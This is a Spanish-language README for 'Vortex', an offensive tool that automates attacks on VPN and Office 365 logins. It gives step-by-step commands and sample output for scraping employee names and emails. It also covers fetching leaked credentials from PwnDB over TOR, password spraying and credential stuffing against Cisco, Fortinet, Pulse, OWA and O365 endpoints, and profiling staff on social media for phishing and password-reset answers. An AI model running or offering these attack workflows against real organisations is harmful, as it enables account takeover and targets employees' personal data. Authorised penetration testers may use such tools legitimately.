
Herramienta integral de reconocimiento, pruebas, enumeración y explotación de VPN
🚩 Este es el repositorio público de vortex, para la última versión y actualizaciones, considera apoyarnos a través de https://porchetta.industries/
Kit de herramientas de reconocimiento, prueba, enumeración y explotación de VPN en general
Si quieres patrocinar este proyecto y tener las últimas actualizaciones de vortex, los últimos errores corregidos, las últimas características, apóyanos en https://porchetta.industries/
¡Ven a pasar el rato en Discord!
Un framework de Python muy simple, inspirado en [SprayingToolkit][1], que intenta automatizar la mayor parte del proceso necesario para detectar, enumerar y atacar endpoints comunes de O365 y VPN (como Cisco, Citrix, Fortinet, Pulse, etc...).
Hacer la fase de pulverización de VPN mucho más rápida y fácil. Además, debido a su flexibilidad, esta herramienta se puede añadir a un flujo de trabajo OSINT existente con bastante facilidad.
Vortex principalmente brinda asistencia para realizar las siguientes tareas:
Instala los requisitos previos con pip3 de la siguiente manera:``` sudo -H pip3 install -r requirements.txt
### Instalar con Virtualenv
De lo contrario, puedes instalar los requisitos previos usando un entorno virtual:
###### En Windows```
virtualenv venv
venv\Scripts\activate
pip install -r requirements.txt
python3 -m virtualenv venv source venv/bin/activate pip install -r requirements.txt
## Uso
Usar la herramienta es bastante sencillo, pero hay un flujo de trabajo que respetar. La herramienta
utiliza una base de datos SQLite para almacenar información sobre el ataque actual.
### Espacio de trabajo
El espacio de trabajo representa el archivo de base de datos utilizado por la herramienta. El nombre debe ser solo un
nombre simple para etiquetar el ataque, proyecto o objetivo actual.
A cada espacio de trabajo se le asigna una base de datos SQLite. Cuando especificas un nombre de espacio de trabajo,
como:```
python manage.py -w workspace1
Lo que realmente estás diciendo es "Quiero operar en el archivo workspace1.db".
Para funcionar correctamente, Vortex necesita inicializar la base de datos con los esquemas correctos. Para ello, lo único que hay que hacer es ejecutar el comando:``` python manage.py -w workspace1 db -c init
Si un usuario intenta saltarse esta fase, Vortex simplemente imprimirá en pantalla el comando correcto para ejecutar primero.```
[-] Workspace not initialized. Please initialise it using:
python manage.py -w workspace1 db -c init
En cambio, al ejecutar el mismo comando contra una base de datos existente e inicializada, Vortex pedirá confirmación antes de sobrescribir el archivo de la base de datos:``` [-] The DB file exists and it was initialised, overwrite? [y|n] $> y
### Acciones y comandos
Vortex funciona con un argumento posicional, la 'Acción', y otros valores clave.
El más importante entre ellos es el argumento de comando (`-c cmd`). En combinación con
el valor de acción, el comando define lo que Vortex debe hacer.
Es posible ver la lista de acciones compatibles desde la Ayuda:```
python manage.py -h
Vortex: VPN Overall Reconnaissance, Enumeration and eXploitation
positional arguments:
{db,domain,import,office,profile,search,tor,validate,vpn}
Action to execute
optional arguments:
-h, --help show this help message and exit
-w WORKSPACE, --workspace WORKSPACE
Workspace to use
-c COMMAND, --command COMMAND
Command for the action
-D DOMAIN, --domain DOMAIN
Domain under attack
-C COMPANY, --company COMPANY
Company under attack
-l LOCATION, --location LOCATION
Location of the company under attack (IE, UK, US, ...)
-u URL, --url URL VPN Endpoint Origin (schema://domain:port)
-t ENDPOINT_TYPE, --endpoint-type ENDPOINT_TYPE
Target Endpoint Type
-U USER, --user USER User name
-E EMAIL, --email EMAIL
User email
-N NAME, --name NAME User full name
-R ROLE, --role ROLE User job
-s SQL, --sql SQL SQL statement
-O EXPORT_FILE, --export-file EXPORT_FILE
Export file
-Q QUOTES, --quotes QUOTES
Produce an Excel safe CSV
-nh, --no-headers Remove CSV headers
-k KEYWORDS, --keywords KEYWORDS
Search keywords
-P PASSWORDS_FILE, --passwords-file PASSWORDS_FILE
Password file for spraying
-L, --leaks Use leaks for spraying
-I IMPORT_FILE, --import-file IMPORT_FILE
Import file
Como se puede observar en la ayuda, la lista de comandos compatibles por acción no está especificada en ningún lado. Esto se debe a que no es necesario especificar un comando directamente. De hecho, si no se especifica un comando, Vortex le pedirá al usuario que seleccione uno de entre los comandos disponibles para la acción especificada.``` python manage.py -w workspace1 db
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Select a command: 0 : init 1 : sql 2 : add-endpoint 3 : add-user 4 : drop-user 5 : truncate-table 6 : export $>
Lo mismo aplica para los argumentos necesarios para una rutina específica. Si un argumento es
difícil de ingresar en tiempo de ejecución, Vortex le recordará amablemente al usuario que
el parámetro es necesario. De lo contrario, Vortex guiará al usuario para seleccionar
o ingresar los argumentos necesarios.
Por ejemplo, si un usuario quisiera exportar una tabla específica o incluso una columna, lo único que necesitaría
sería lanzar el comando de exportación, como se puede observar en la imagen a continuación:

Este tipo de comportamiento hace que Vortex sea muy fácil de usar.
### Flujo de trabajo general
Vortex ha sido diseñado para adherirse a un flujo de trabajo operativo específico, resumido en el siguiente
esquema:

### Operaciones
#### Recopilar usuarios
La recopilación de usuarios válidos para un objetivo específico se puede realizar utilizando tres fuentes diferentes:
* LinkedIn
Esta fuente ha sido eliminada por infringir las políticas de usuario de LinkedIn.
Aún puede operar en LinkedIn utilizando [GoMapEnum](https://github.com/nodauf/GoMapEnum),
y luego importar las direcciones de correo electrónico usando el comando `import`.
Nuevamente, tenga en cuenta que el uso de esta funcionalidad es una violación del acuerdo de usuario de LinkedIn,
como se puede observar en el punto [8.2](https://www.linkedin.com/legal/user-agreement#dos)
del acuerdo de usuario de LinkedIn:
> Usted acepta que no: [...]
> 2. Desarrollará, apoyará o utilizará software, dispositivos, scripts, robots o cualquier otro medio o proceso (incluyendo rastreadores, complementos y extensiones de navegador o cualquier otra tecnología) para extraer los Servicios o copiar de otro modo perfiles y otros datos de los Servicios;
* CrossLinked
Para reemplazar parcialmente la funcionalidad anterior, la herramienta incorpora una versión adaptada de
[CrossLinked](https://github.com/m8r0wn/CrossLinked). Esta herramienta intentará detectar empleados de una empresa utilizando Google y Bing.
Ciertamente no es lo mismo que buscar directamente en LinkedIn, pero es
bastante útil.
Para operar correctamente, la herramienta le preguntará al usuario qué formato debe usar
para los nombres de usuario (por ejemplo, john.doe, j.doe o d.john) y cuál es el dominio estándar
utilizado por el dominio objetivo.```
python manage.py -w workspace1 search -c crosslinked -D evilcorp.com -C "Evil Corporation"
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[+] Select a format for usernames
0: firstlast
1: lastfirst
2: first.last
3: last.first
4: last.f
5: flast
6: lfirst
7: f.last
8: l.first
9: first
10: last
$> 2
[*] Starting search on Google and Bing with CrossLinked
[>] Searching google for valid employee names at "Evil Corporation"
[>] Searching bing for valid employee names at "Evil Corporation"
[>] Found 133 LinkedIn accounts!
[*] Updating DB ...
[+] Done!
Esta fuente se opera usando una versión reducida y modificada de theHarvester. La herramienta intentará extraer nombres/correos electrónicos de Google (Recolección Pasiva) usando Google Dorks, y del sitio web de la empresa (Recolección Activa).``` python manage.py -w workspace1 search -c google -D evilcorp.com
[] Starting passive/active search on Google [] (PASSIVE) Searching for emails NOT within the domain's site: evilcorp.com -site:evilcorp.com [*] (ACTIVE) Searching for emails within the domain's sites: evilcorp.com [+] Scraping any emails from: https://evilcorp.com [+] Scraping any emails from: https://www.facebook.com/EvilCorp/ ...
[email protected] [email protected] [>] Found 2 mail [*] Updating DB ... [+] Done!
* PwnDB
Esta fuente se opera mediante una versión adaptada de la implementada en [sn0int](https://github.com/kpcyrd/sn0int).
**Nota**: esta funcionalidad requiere estar conectado a la red TOR. En Windows, es posible usar la versión integrada proporcionada con Vortex. En Linux, en cambio, es necesario instalar el paquete tor (p.ej. `sudo apt-get install tor` en Kali).
##### Iniciar TOR```
python manage.py -w workspace1 tor -c start
[*] Starting TOR Browser, click on connect
python manage.py -w workspace1 search -c pwndb -D evilcorp.com
[] Starting search on PwnDB [>] Found 493 leaked accounts! [] Updating DB ... [+] Done!
##### Detener TOR```
python manage.py -w workspace1 tor -c stop
[*] Stopping TOR browser
Vortex utiliza principalmente dos macrocategorías para los endpoints: VPN y endpoints de Microsoft (Office). Un objetivo se puede agregar tanto como un endpoint de Office o VPN, y Vortex intentará validar el endpoint como un endpoint de Office o VPN, respectivamente, usando un rango de validadores.
Aclaremoslo con un ejemplo. El usuario necesita atacar el objetivo evilcorp.com,
y quiere verificar si el dominio es un objetivo OWA, Lync, ADFS u O365.```
python manage.py -w workspace1 office -c add -D evilcorp.com
[#] OWA domain appears to be hosted internally [+] evilcorp.com is a valid OWA target! [-] evilcorp.com does not seem a valid LYNK target [-] evilcorp.com does not seem a valid ADFS target [-] evilcorp.com does not seem a valid IMAP target [+] evilcorp.com is a valid O365 target!
##### Buscar subdominios para endpoints de VPN
Para endpoints de VPN, el usuario puede realizar una búsqueda de subdominios para encontrar hosts que ejecuten VPN Web Logins,
así:```
python manage.py -w workspace1 domain -c enum -D evilcorp.com
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting subdomain passive enumeration
[>] Found 10 subdomains
[$] Elapsed time: 18.360117197036743
[*] Enumerating potential VPN endpoints (HTTPS on 443, 10443)
[>] Found 1 hosts running an SSL webserver
[$] Elapsed time: 18.916626691818237
[*] Trying to detect hosts with VPN web-login
[>] Found 1 hosts with a VPN web login
[$] Elapsed time: 32.919618368148804
[*] Updating DB...
[+] Adding vpn.evilcorp.com:443 as a pulse target
[>] Elapsed time: 18.920615434646606
[+] Done
Para añadir manualmente endpoints VPN, por supuesto, especificar el dominio de nivel superior probablemente no sea suficiente. La forma correcta sería especificar un subdominio específico junto con el puerto específico en el que se ejecuta el Servidor Web VPN.``` python manage.py -w workspace1 vpn -c add -D vpn.evilcorp.com:443
[+] vpn.evilcorp.com:443 is a pulse target!
#### Realizar un ataque de password spray o fuerza bruta contra OWA, ADFS, LYNC u O365
Para realizar un ataque de password spray o incluso de fuerza bruta, el único recurso necesario es una lista de contraseñas en forma de archivo de texto, con una contraseña por línea.```
python manage.py -w workspace1 office -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : owa
1 : lync
2 : imap
3 : adfs
4 : o365
5 : all
$> 4
[*] Running O365Enumerator
[-] [email protected]:MrRobot2021! is not valid.
[+] [email protected]:Joanna2021! is valid!
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
Para realizar un ataque de pulverización de contraseñas o incluso de fuerza bruta, el único recurso necesario es una lista de contraseñas en forma de archivo de texto, con una contraseña por línea.``` python manage.py -w workspace1 vpn -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[] Choose an endpoint type to attack, or all to attack any supported endpoint 0 : cisco 1 : citrix 2 : citrixlegacy 3 : fortinet 4 : pulse 5 : sonicwall 6 : all $> 6 [] Attacking vpn.evilcorp.com:443 [-] [email protected]:MrRobot2021! is not valid. [+] [email protected]:Joanna2021! is valid! [>] Found 1 valid logins [*] Updating Db... [+] Done
#### Realizar un password spray o fuerza bruta utilizando credenciales filtradas
Dado que Vortex mantiene un registro de las credenciales filtradas en PwnDB, un usuario puede seleccionar probar todas las credenciales filtradas en lugar de proporcionar un archivo de contraseñas.
Sin embargo, tenga en cuenta que este comportamiento es muy diferente a un password spray normal. En un ataque de password spraying normal, de hecho, una única contraseña se prueba contra todos los usuarios. En un ataque con credenciales filtradas, las credenciales filtradas se prueban contra el usuario específico con el que fueron filtradas. Así, por ejemplo, si Vortex encontró las filtraciones:```
User Leaks
---------------------------- ----------------------------
[email protected] ["ISecretlyLoveAngela2020!"]
[email protected] ["Puppy19!", "MySweetJ111!"]
Vortex realizará los siguientes intentos, y solo los siguientes:``` [email protected]:ISecretlyLoveAngela2020! [email protected]:Puppy19! [email protected]:MySweetJ111!
Para realizar este ataque, no se necesita ningún archivo de contraseñas, pero es necesario establecer el parámetro (-L, o --leaks).```
python manage.py -w workspace1 vpn -c attack -L
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : cisco
1 : citrix
2 : citrixlegacy
3 : fortinet
4 : pulse
5 : sonicwall
6 : all
$> 6
[*] Attacking vpn.evilcorp.com:443
[+] [email protected]:ISecretlyLoveAngela2020! is valid!
[-] [email protected]:Puppy19! is not valid.
[-] [email protected]:MySweetJ111! is not valid.
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
Eso es prácticamente todo. A veces, la herramienta puede solicitar más información antes de realizar un ataque, como seleccionar el dominio/grupo VPN.
En cualquier momento, puedes ver los inicios de sesión válidos que encontraste utilizando el siguiente comando:``` python manage.py db -w workspace1 -c found-logins [+] Valid Logins Collected: ID Target E-Mail Password
1 vpn.evilcorp.com:443 [email protected] Joanna2021! 2 vpn.evilcorp.com:443 [email protected] ISecretlyLoveAngela2020! [+] Done
#### Búsqueda de perfiles en redes sociales
A veces, en compromisos grandes, conocer un poco más sobre nuestros objetivos nos ayudó a
vulnerar sus defensas, como usar correos electrónicos personales o cuentas sociales para phishing,
o también encontrar respuestas a preguntas de seguridad para restablecer contraseñas).
Por esta razón, he integrado [Profil3r](https://github.com/Greyjedix/Profil3r). Esta herramienta
intenta identificar cuentas de redes sociales potencialmente relacionadas con un individuo.
**NOTA IMPORTANTE**: Profil3r intenta localizar perfiles válidos mediante combinación de nombres. No puede
garantizar que los perfiles encontrados estén realmente relacionados con la persona objetivo. Por esta razón, los
perfiles no se añaden automáticamente a la base de datos de Vortex.
Actualmente, es posible operar con Profil3r en dos modos:
* modo único
* modo múltiple
El modo único opera sobre un conjunto de palabras clave proporcionadas por el usuario:```
python manage.py -w workspace1 profile -c single -k elliot -k alderson
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting single profile search
...
└── FACEBOOK ✔️
├──https://facebook.com/elliot
├──https://facebook.com/alderson
├──https://facebook.com/elliotalderson
├──https://facebook.com/aldersonelliot
├──https://facebook.com/elliot.alderson
├──https://facebook.com/alderson.elliot
...
[+] Done!
El modo múltiple opera sobre el nombre y apellido de cada usuario en la base de datos. Cualquier palabra clave adicional pasada en modo múltiple se utiliza en combinación con el nombre y apellido de los usuarios. Así, por ejemplo, puedes usar nombres o números adicionales para personalizar la búsqueda de perfiles.``` python manage.py -w workspace1 profile -c multi -k 90
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Starting per-user profile search [>] Searching profiles for Elliot Alderson. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/ElliotAlderson ├──https://twitter.com/AldersonElliot ├──https://twitter.com/Elliot90 ├──https://twitter.com/90Elliot ├──https://twitter.com/Alderson90 ... [>] Searching profiles for Tom Wellick. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/Tom ├──https://twitter.com/Wellick ├──https://twitter.com/90 ├──https://twitter.com/Tom90 ├──https://twitter.com/90Tom ... [+] Done!
#### Importación de Datos Externos
Vortex también ofrece soporte para importar datos externos relacionados con usuarios o endpoints.
Actualmente, solo se admiten archivos de texto plano y también hay soporte limitado para CSV.
Los tipos de datos que se pueden importar hasta ahora son:
* Direcciones de correo electrónico
* Nombres de usuario
* Endpoints VPN (target:port)
* Dominios
* ~~Filtraciones de PwnDB~~ OBSOLETO: solo usa el comando search
* Datos de LinkedIn extraídos con ~~Blues~~
Cada tipo de dato se admite en formato de archivo de texto normal, un elemento por línea.
## Hoja de ruta
Nuevas funcionalidades próximamente (2022):
* Generación inteligente de listas de contraseñas
* Extracción y correlación de datos
Por favor, envía errores, sugerencias o solicitudes de características.
## Créditos
* [byt3bl33d3r](https://twitter.com/byt3bl33d3r): Por su increíble trabajo en [SprayingToolkit][1], que inspiró el proyecto
* [nodauf](https://twitter.com/nodauf): Por su trabajo en [GoMapEnum](https://github.com/nodauf/GoMapEnum), que me dio otras ideas
* [quasart](https://github.com/quasart): El logotipo se generó con [spiral](https://github.com/quasart/spiral)
* [m8r0wn](https://twitter.com/m8r0wn): Por su trabajo en [CrossLinked](https://github.com/m8r0wn/CrossLinked), que es realmente una herramienta increíble
* [Greyjedix](https://github.com/Greyjedix/): Por su trabajo en [Profil3r](https://github.com/Greyjedix/Profil3r), que es una herramienta muy útil en ciertas circunstancias
[1]: https://github.com/byt3bl33d3r/SprayingToolkit